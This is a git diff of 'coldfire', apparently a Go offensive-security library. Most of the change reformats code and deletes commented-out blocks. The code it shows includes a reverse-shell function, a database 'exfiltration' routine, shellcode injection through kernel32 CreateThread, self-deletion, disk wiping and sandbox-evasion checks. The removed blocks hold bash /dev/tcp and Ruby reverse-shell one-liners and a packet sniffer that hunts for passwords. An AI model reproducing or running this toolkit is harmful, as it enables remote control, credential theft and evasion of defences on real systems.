diff --git a/coldfire.go b/coldfire.go index 3ca4981..189216c 100755 --- a/coldfire.go +++ b/coldfire.go @@ -5,6 +5,7 @@ package coldfire import ( "bufio" + "database/sql" "encoding/binary" "fmt" "net" @@ -15,13 +16,12 @@ import ( "strconv" "strings" "time" - "database/sql" - _ "github.com/lib/pq" - "github.com/fatih/color" "github.com/GeertJohan/yubigo" - _ "github.com/go-sql-driver/mysql" - //"github.com/secsy/goftp" + "github.com/fatih/color" + _ "github.com/go-sql-driver/mysql" + _ "github.com/lib/pq" + "github.com/ztrue/tracerr" ) @@ -32,7 +32,7 @@ var ( Bold = color.New(color.Bold).SprintFunc() Yellow = color.New(color.FgYellow).SprintFunc() Magenta = color.New(color.FgMagenta).SprintFunc() - tmpbuf []byte + tmpbuf []byte ) func handleReverse(conn net.Conn) { @@ -103,13 +103,12 @@ func IsFileExec(file string) bool { return mode&0111 != 0 } - // Exfiltrates data slowly from either MySQL or Postgres -func HarvestDB(ip, username, password string, port int){ - if PortscanSingle(ip, 5400){ +func HarvestDB(ip, username, password string, port int) { + if PortscanSingle(ip, 5400) { } - if PortscanSingle(ip, 3306){ + if PortscanSingle(ip, 3306) { db, err := sql.Open("mysql", F("%s:%s@tcp(%s:3306)/test", username, password, ip)) Check(err) defer db.Close() @@ -126,52 +125,18 @@ func ListDB(db *sql.DB, tables bool) []string { var result []string var table string for res.Next() { - res.Scan(&table) - result = append(result, table) + res.Scan(&table) + result = append(result, table) } return result } -// Generates a reverse shell in a given language to the current machine on arbitrary port -/*func LangRevshell(language string, port int, global bool) string { - reverse_addr := GetLocalIP() - if (global){ - reverse_addr = GetGlobalIP() - } - rshell := "" - switch (language){ - case "rb": - rshell = F("require 'socket';spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"%s\",%d))", reverse_addr, port) - case "sh": - rshell = F("bash -i >& /dev/tcp/%s/%d 0>&1", reverse_addr, port) - } - return rshell -} - -// Ta funkcja wpierdala gratisa na FTP -func Gratis(ip, username, password string, port int) { - config := goftp.Config{ - User: username, - Password: password, - ConnectionsPerHost: port, - Timeout: 20 * time.Second, - Logger: os.Stderr, - } - connection, err := goftp.DialConfig(config, ip) - Check(err) - listing, err := connection.ReadDir("/") - Check(err) - for _, file := range listing { - _ = file.Name() - } -}*/ - // Verifies Yubico OTP func Yubi(id, token, otp string) bool { yubikey, err := yubigo.NewYubiAuth(id, token) Check(err) res, ok, err := yubikey.Verify(otp) - if (err != nil || ! ok || res == nil) { + if err != nil || !ok || res == nil { return false } return true @@ -257,51 +222,6 @@ func Remove() { os.Remove(os.Args[0]) } -// CredentialsSniff is used to sniff network traffic for -// private user information. -/*func CredentialsSniff(ifac, interval string, - collector chan string, - words []string) error { - ifs := []string{} - if ifac != "all" { - ifs = []string{ifac} - } else { - ifs = append(ifs, ifs...) - } - hits := []string{"password", "user", - "username", "secrets", "auth"} - for w := range words { - word := words[w] - hits = append(hits, word) - } - for h := range hits { - hit := hits[h] - hits = append(hits, strings.ToUpper(hit)) - hits = append(hits, strings.ToUpper(string(hit[0]))+string(hit[1:])) - } - var snapshot_len int32 = 1024 - var timeout time.Duration = time.Duration(IntervalToSeconds(interval)) * time.Second - for _, i := range ifs { - handler, err := pcap.OpenLive(i, snapshot_len, false, timeout) - if err != nil { - return err - } - defer handler.Close() - source := gopacket.NewPacketSource(handler, handler.LinkType()) - for p := range source.Packets() { - app_layer := p.ApplicationLayer() - pay := app_layer.Payload() - for h := range hits { - hit := hits[h] - if bytes.Contains(pay, []byte(hit)) { - collector <- string(pay) - } - } - } - } - return nil -}*/ - // Reverse initiates a reverse shell to a given host:port. func Reverse(host string, port int) { conn, err := net.Dial("tcp", host+":"+strconv.Itoa(port)) @@ -358,7 +278,6 @@ func Wipe() error { return wipe() } - // Checks if a string contains valuable information through regex. func RegexMatch(regex_type, str string) bool { regexes := map[string]string{ @@ -388,6 +307,6 @@ func AutoDoc(port ...int) { } // Injects a bytearray into current process and executes it -func RunShellcode(sc []byte, bg bool){ +func RunShellcode(sc []byte, bg bool) { runShellcode(sc, bg) } diff --git a/coldfire_windows.go b/coldfire_windows.go index 60e0845..088c964 100644 --- a/coldfire_windows.go +++ b/coldfire_windows.go @@ -36,9 +36,9 @@ func wipe() error { return nil } -func runShellcode(sc []byte, bg bool){ +func runShellcode(sc []byte, bg bool) { var bg_run uintptr = 0x00 - if (bg) { + if bg { bg_run = 0x00000004 } kernel32 := syscall.MustLoadDLL("kernel32.dll") @@ -53,49 +53,3 @@ func runShellcode(sc []byte, bg bool){ threadHandle, _, _ := procCreateThread.Call(0, 0, addr, 0, bg_run, 0) waitForSingleObject.Call(threadHandle, uintptr(^uint(0))) } - -// func dialog(message, title string) { -// zenity.Info(message, zenity.Title(title)) -// } - -// func SplitMultiSep(s string, seps []string) []string { -// f := func(c rune) bool { -// for _, sep := range seps { -// if c == sep { // what? -// return true -// } -// } -// } -// fields := strings.FieldsFunc(s, f) -// return fields -// } - -/* - -func keyboard_emul(keys string) error { - -} - -func proxy_tcp() error { - -} - -func proxy_udp() error { - -} - -func proxy_http() error { - -} - -func webshell(param, password string) error { - -} - -func stamp() { - -} - -func detect_user_interaction() (bool, error) { - -}*/ diff --git a/data_manipulation.go b/data_manipulation.go index 872908a..828a4ee 100755 --- a/data_manipulation.go +++ b/data_manipulation.go @@ -1,17 +1,18 @@ package coldfire import ( + "bufio" + "encoding/gob" + "fmt" "math/rand" "net" + "os" "reflect" - "fmt" "regexp" "strconv" "strings" - "os" - "bufio" - "encoding/gob" "time" + "github.com/c-robinson/iplib" ) @@ -103,7 +104,7 @@ func SplitMultiSep(s string, seps []string) []string { } // Applies a function to each element of a generic slice. -func SliceTransform(s []interface{}, f func(interface{}) interface{}){ +func SliceTransform(s []interface{}, f func(interface{}) interface{}) { slen := reflect.ValueOf(s).Len() for i := 0; i < slen; i++ { s[i] = f(s[i]) @@ -278,13 +279,13 @@ func RemoveDuplicatesStr(slice []string) []string { } // Removes Nth index from generic slice if idx != 0; removes last element otherwise -func RemoveNth(slic interface{}, idx int) interface{}{ +func RemoveNth(slic interface{}, idx int) interface{} { slen := idx - if (idx == 0){ + if idx == 0 { slen = reflect.ValueOf(slic).Len() } v := reflect.ValueOf(slic).Elem() - v.Set(reflect.AppendSlice(v.Slice(0, slen), v.Slice(slen+1, v.Len()))) + v.Set(reflect.AppendSlice(v.Slice(0, slen), v.Slice(slen+1, v.Len()))) return v } @@ -312,7 +313,7 @@ func ContainsAny(str string, elements []string) bool { return false } -// Converts an IPv4 address to hex +// Converts an IPv4 address to hex func IP2Hex(ip string) string { ip_obj := net.ParseIP(ip) return iplib.IPToHexString(ip_obj) @@ -331,21 +332,21 @@ func Port2Hex(port int) string { func Introspect(strct interface{}) (map[string]interface{}, []string) { nil_fields := []string{} strctret := make(map[string]interface{}) - strctval := reflect.ValueOf(strct) - for i := 0; i < strctval.NumField(); i++ { - val := strctval.Field(i).Interface() - fld := strctval.Type().Field(i).Name + strctval := reflect.ValueOf(strct) + for i := 0; i < strctval.NumField(); i++ { + val := strctval.Field(i).Interface() + fld := strctval.Type().Field(i).Name strctret[fld] = val - if (val == -1 || val == nil || val == ""){ + if val == -1 || val == nil || val == "" { nil_fields = append(nil_fields, fld) } - } + } return strctret, nil_fields } // Checks if a generic is iterable and non-emptty func IsIterable(v interface{}) bool { - return (reflect.TypeOf(v).Kind() == reflect.Slice && reflect.ValueOf(v).Len() >=1 ) + return (reflect.TypeOf(v).Kind() == reflect.Slice && reflect.ValueOf(v).Len() >= 1) } // Generic boolean truth checker @@ -353,41 +354,41 @@ func BoolCheck(boolean interface{}) bool { bval := reflect.ValueOf(boolean) slen := bval.Len() switch v := boolean.(type) { - case []int: - if slen != 0 { - return true - } - case []string: - if slen != 0 { - return true - } - case []bool: - if slen != 0 { - return true - } - case int: - if bval.Int() == 1 { - return true - } - case float64: - if v == 0.0 { - return true - } - case string: - if slen == 0 { - return true - } - case bool: - if bval.Bool() { - return true - } + case []int: + if slen != 0 { + return true + } + case []string: + if slen != 0 { + return true + } + case []bool: + if slen != 0 { + return true + } + case int: + if bval.Int() == 1 { + return true + } + case float64: + if v == 0.0 { + return true + } + case string: + if slen == 0 { + return true + } + case bool: + if bval.Bool() { + return true + } } return false } -// Unified serializer/deserializer for structs - logic is based on whether a .gob file already exists -func Serializer(gobpath string, obj interface{}){ - if (Exists(gobpath)){ +// Unified serializer/deserializer for structs - logic is based on whether a .gob file already exists +func Serializer(gobpath string, obj interface{}) { + if Exists(gobpath) { gobfile, err := os.Open(gobpath) Check(err) decoder := gob.NewDecoder(gobfile) @@ -401,14 +402,3 @@ func Serializer(gobpath string, obj interface{}){ gobfile.Close() } } - -// Removes values from generics that do noe pass a truthcheck of f() -/*func Decimator[T any](s []T, f func(T) bool) []T { - var r []T - for _, v := range s { - if f(v) { - r = append(r, v) - } - } - return r -}*/ \ No newline at end of file diff --git a/io.go b/io.go index 90bdc84..6b9d9dc 100644 --- a/io.go +++ b/io.go @@ -31,7 +31,6 @@ func IOReader(file string) io.ReaderAt { return r } - // WriteFile is used to write data into a given file. func WriteFile(filename, data string) error { file, err := os.Create(filename) diff --git a/net.go b/net.go index a78bf79..60108de 100644 --- a/net.go +++ b/net.go @@ -2,6 +2,7 @@ package coldfire import ( "bufio" + "bytes" "fmt" "io" "io/ioutil" @@ -11,9 +12,7 @@ import ( "os" "strconv" "strings" - "bytes" - //"syscall" "syscall" "time" @@ -249,13 +248,13 @@ func PortscanSingleTimeout(target string, port, timeout, threads int) bool { return len(opened_ports) != 0 } -// Returns true if host is alive +// Returns true if host is alive func Ping(target string) bool { open_counter := 0 ports_to_check := []int{80, 443, 21, 22} ps := portscanner.NewPortScanner(target, 2*time.Second, 5) for _, port := range ports_to_check { - if ps.IsOpen(port){ + if ps.IsOpen(port) { open_counter += 1 } } @@ -264,14 +263,14 @@ func Ping(target string) bool { // Removes hosts from slice that did not respond to a ping request func RemoveInactive(targets []string) { - for i, t := range(targets){ - if ! Ping(t){ + for i, t := range targets { + if !Ping(t) { targets[i] = "" } } } -// Returns a random free port +// Returns a random free port func PortFree(port int) int { var a *net.TCPAddr a, err := net.ResolveTCPAddr("tcp", "localhost:0") @@ -289,7 +288,7 @@ func PortReuse(network string, address string, conn syscall.RawConn) error { } // Gracefully closes an instance of net.Listener -func CloseListener(lst net.Listener){ +func CloseListener(lst net.Listener) { if lst != nil { lst.Close() lst = nil @@ -317,10 +316,10 @@ func CheckRootSSH(client ssh.Client) bool { Check(err) var user_id bytes.Buffer session.Stdout = &user_id - if (session.Run("id") != nil){ - if (ContainsAny(user_id.String(), []string{"uid=0", "gid=0", "root"})){ + if session.Run("id") != nil { + if ContainsAny(user_id.String(), []string{"uid=0", "gid=0", "root"}) { uid0_session = true } } return uid0_session -} \ No newline at end of file +} diff --git a/sandbox_windows.go b/sandbox_windows.go index acc827e..692ad79 100644 --- a/sandbox_windows.go +++ b/sandbox_windows.go @@ -33,24 +33,6 @@ func sandboxFilepath() bool { } } -/* Broken due to lack of dependency: "github.com/minio/minio/pkg/disk" -func sandboxDisk(size int) bool { - v := false - d := `C:\` - di, _ := disk.GetInfo(d) - x := strings.Replace(humanize.Bytes(di.Total), "GB", "", -1) - x = strings.Replace(x, " ", "", -1) - z, err := strconv.Atoi(x) - if err != nil { - fmt.Println(err) - } - if z < size { - v = true - } - return v -} -*/ - func sandboxTmp(entries int) bool { tmp_dir := `C:\windows\temp` files, err := os.ReadDir(tmp_dir)